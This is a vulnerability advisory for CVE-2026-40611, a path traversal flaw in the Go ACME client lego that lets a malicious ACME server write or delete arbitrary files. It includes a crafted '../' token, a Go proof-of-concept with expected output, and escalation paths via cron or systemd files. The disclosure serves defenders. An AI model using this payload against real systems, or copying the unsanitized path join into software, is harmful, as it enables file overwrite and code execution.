CVE-2026-40611

The webroot HTTP-01 challenge provider in lego is vulnerable to arbitrary file write and deletion via path traversal. A malicious ACME server can supply a crafted challenge token containing ../ sequences, causing lego to write attacker-influenced content to any path writable by the lego process.

Details

The ChallengePath() function in challenge/http01/http_challenge.go:26-27 constructs the challenge file path by directly concatenating the ACME token without any validation:

func ChallengePath(token string) string {
	return "/.well-known/acme-challenge/" + token
}

The webroot provider in providers/http/webroot/webroot.go:31 then joins this with the configured webroot directory and writes the key authorization content to the resulting path:

challengeFilePath := filepath.Join(w.path, http01.ChallengePath(token))
err = os.MkdirAll(filepath.Dir(challengeFilePath), 0o755)
err = os.WriteFile(challengeFilePath, []byte(keyAuth), 0o644)

RFC 8555 Section 8.3 specifies that ACME tokens must only contain characters from the base64url alphabet ([A-Za-z0-9_-]), but this constraint is never enforced anywhere in the codebase. When a malicious ACME server returns a token such as ../../../../../../tmp/evil, filepath.Join() resolves the .. components, producing a path outside the webroot directory.

The same vulnerability exists in the CleanUp() function at providers/http/webroot/webroot.go:48, which deletes the challenge file using the same unsanitized path:

err := os.Remove(filepath.Join(w.path, http01.ChallengePath(token)))

This additionally enables arbitrary file deletion.

PoC

In a real attack scenario, the victim uses --server to point lego at a malicious ACME server, combined with --http.webroot:

lego --server https://malicious-acme.example.com \
     --http --http.webroot /var/www/html \
     --email [email protected] \
     --domains example.com \
     run

The malicious server returns a challenge token containing path traversal sequences ../../../../../../tmp/pwned. lego's webroot provider writes the key authorization to the traversed path without validation, resulting in arbitrary file write outside the webroot.

The following minimal Go program demonstrates the core vulnerability by directly calling the webroot provider with a crafted token:

package main

import (
	"fmt"
	"os"

	"github.com/go-acme/lego/v4/providers/http/webroot"
)

func main() {
	webrootDir, _ := os.MkdirTemp("", "lego-webroot-*")
	defer os.RemoveAll(webrootDir)

	provider, _ := webroot.NewHTTPProvider(webrootDir)
	token := "../../../../../../../../../../tmp/pwned"
	provider.Present("example.com", token, "EXPLOITED-BY-PATH-TRAVERSAL")

	data, err := os.ReadFile("/tmp/pwned")
	if err == nil {
		fmt.Println("[+] VULNERABILITY CONFIRMED")
		fmt.Printf("[+] File written outside webroot: /tmp/pwned\n")
		fmt.Printf("[+] Content: %s\n", data)
	}
}

go build -o exploit ./exploit.go && ./exploit

Expected output:

[+] VULNERABILITY CONFIRMED
[+] File written outside webroot: /tmp/pwned
[+] Content: EXPLOITED-BY-PATH-TRAVERSAL

This is a path traversal vulnerability (CWE-22). Any user running lego with the HTTP-01 challenge solver against a malicious or compromised ACME server is affected.

A malicious ACME server can:

• Achieve remote code execution by writing to cron directories, systemd unit paths, shell profiles, or web application directories served by the webroot.
• Destroy data by overwriting configuration files, TLS certificates, or application state.
• Escalate privileges if lego runs as root, granting unrestricted filesystem write access.
• Delete arbitrary files via the CleanUp() code path using the same unsanitized token.

Input manipulates file paths to reach files outside the intended directory, such as configuration or credential files. Typical impact: unauthorized file read or write outside the intended directory.

CVE-2026-40611 has a CVSS score of 8.8 (High). The vector is network-reachable, no privileges required, and user interaction required. A CVSS score reflects the worst-case severity of the vulnerability, not your specific exposure. Whether this affects your application depends on whether the vulnerable code is present and reachable in your environment. A fixed version is available (4.34.0); upgrading removes the vulnerable code path.

Kodem intelligence

1. What is CVE-2026-40611? CVE-2026-40611 is a high-severity path traversal vulnerability in github.com/go-acme/lego/v4 (go), affecting versions < 4.34.0. It is fixed in 4.34.0. Input manipulates file paths to reach files outside the intended directory, such as configuration or credential files.
2. How severe is CVE-2026-40611? CVE-2026-40611 has a CVSS score of 8.8 (High). This score reflects the worst-case severity of the vulnerability, not your specific exposure. Whether it represents real risk in your environment depends on whether the vulnerable code is present and reachable.
3. Which packages are affected by CVE-2026-40611?
   • github.com/go-acme/lego/v4 (go) (versions < 4.34.0)
   • github.com/go-acme/lego/v3 (go) (versions <= 3.9.0)
   • github.com/go-acme/lego (go) (versions <= 2.7.2)
4. Is there a fix for CVE-2026-40611? Yes. CVE-2026-40611 is fixed in 4.34.0. Upgrade to this version or later.
5. Is CVE-2026-40611 exploitable, and should I be worried? Whether CVE-2026-40611 is exploitable in your environment depends on whether the vulnerable code is present and reachable. A CVSS score is a worst-case rating; it does not account for your specific deployment, configuration, or usage patterns. Kodem, an Intelligent Application Security platform, uses runtime intelligence to show which vulnerabilities actually execute in production, so you can focus on the ones that represent real risk. Get a demo
6. What actually determines whether CVE-2026-40611 is exploitable, and how bad it is? Exploitability and impact are not fixed properties of a CVE. They depend on runtime truth: whether the vulnerable code is present, reachable, and actually executes in your application. A high CVSS score on a dependency that never runs is not the same as real risk. Kodem, an Intelligent Application Security platform, uses runtime intelligence to reveal which vulnerabilities actually execute in production, so teams prioritize the ones that genuinely matter.
7. How do I fix CVE-2026-40611? Upgrade github.com/go-acme/lego/v4 to 4.34.0 or later.